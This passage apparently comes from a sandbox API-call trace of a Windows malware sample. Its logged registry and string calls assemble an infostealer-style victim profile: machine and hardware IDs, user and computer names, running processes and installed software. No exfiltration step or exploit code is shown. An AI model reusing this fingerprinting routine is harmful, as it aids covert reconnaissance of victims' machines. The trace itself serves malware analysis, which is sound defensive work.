Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030"
[0054.953] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="11.0.61030.0", lpcbData=0x1816c0*=0xd) returned 0x0
[0054.953] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 ["
[0054.953] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [", lpString2="11.0.61030.0" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- 